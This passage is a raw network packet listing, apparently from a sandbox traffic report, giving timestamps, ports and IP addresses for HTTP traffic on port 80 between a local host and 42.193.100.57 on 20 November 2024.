        Nov 20, 2024 09:14:52.809149027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809161901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809170961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809181929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809209108 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809277058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809292078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809304953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809324980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809355021 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809382915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809397936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809412003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809420109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809426069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809437990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809439898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809456110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809458971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809497118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809530020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809663057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809678078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809691906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809704065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809705019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809719086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809725046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809735060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809746027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809771061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809839010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809863091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809875965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809885979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809890985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809906006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809906960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809916973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809921026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809935093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809936047 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809947968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809951067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809966087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809981108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809984922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810009003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810153008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810165882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810178995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810193062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810201883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810206890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810221910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810230970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810236931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810252905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810265064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810266018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810327053 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810533047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810545921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810561895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810570002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810580015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810580969 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810591936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810628891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810704947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810719013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810733080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810745955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810754061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810760021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810775042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810775995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810791016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810817003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810817003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810847044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.810973883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.810987949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811003923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811017036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811027050 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811031103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811044931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811048031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811059952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811074972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811074972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811090946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811095953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811106920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811120987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811145067 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811290979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811305046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811326027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811337948 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811352968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811357975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811378956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811384916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811393976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811403036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811412096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811429977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811445951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811467886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811476946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811482906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811496019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811501026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811522007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811522961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811537027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811551094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811558962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811566114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811587095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811609030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811635971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811681032 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811752081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811767101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811779976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811794043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811794996 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811804056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811810017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811827898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811840057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811841965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811858892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.811880112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811880112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.811894894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.892420053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.892502069 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.108952999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.108973026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.108988047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109014988 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109026909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109042883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109045029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109075069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109090090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109091043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109107018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109114885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109138966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109149933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109165907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109180927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109184980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109195948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109208107 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109214067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109220982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109230995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109241962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109246969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109251976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109272003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109278917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109283924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109298944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109318972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109325886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109383106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109396935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109411001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109421015 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109426022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109430075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109451056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109457970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109504938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109504938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109519005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109534979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109551907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109555960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109566927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109575987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109581947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109584093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109599113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109605074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109621048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109631062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109635115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109673023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109749079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109764099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109778881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109792948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109812975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109819889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109819889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109819889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109829903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109841108 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109846115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109858990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109874964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109875917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109891891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109899044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109908104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109915972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109924078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109935999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109945059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109956980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109963894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.109972000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109987020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.109994888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110002995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110004902 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110025883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110033989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110096931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110110998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110126019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110136986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110146999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110151052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110158920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110166073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110179901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110193014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110197067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110208035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110234976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110238075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110249996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110276937 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110290051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110297918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110321045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110323906 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110336065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110349894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110353947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110366106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110367060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110394001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110426903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110434055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110441923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110465050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110466957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110479116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110486984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110493898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110496044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110512018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110526085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110536098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110542059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110572100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110591888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110639095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110654116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110676050 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110682964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110687017 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110697985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110712051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110724926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110726118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110740900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110750914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110759974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110781908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110781908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110826015 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110862017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110877037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110891104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110897064 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110907078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110924959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110935926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110950947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.110955954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.110997915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111017942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111052990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111113071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111126900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111141920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111148119 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111156940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111157894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111172915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111186981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111186981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111187935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111202955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111223936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111223936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111237049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111262083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111275911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111289024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111299038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111301899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111308098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111320972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111336946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111356020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111380100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111391068 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111394882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111409903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111417055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111424923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111426115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111440897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111443996 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111457109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111474037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111495972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111495972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111495972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111500978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111507893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111515999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111531973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111534119 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111546040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111553907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111561060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111579895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111689091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111702919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111716986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111722946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111731052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111732006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111747026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111749887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111761093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111762047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111778021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111783028 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111793041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111793041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.111815929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.111834049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.199641943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.199709892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.199827909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.199872017 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.199973106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.199987888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200022936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200046062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200129032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200145006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200160027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200211048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200223923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200280905 CET804970142.193.100.57192.168.2.11
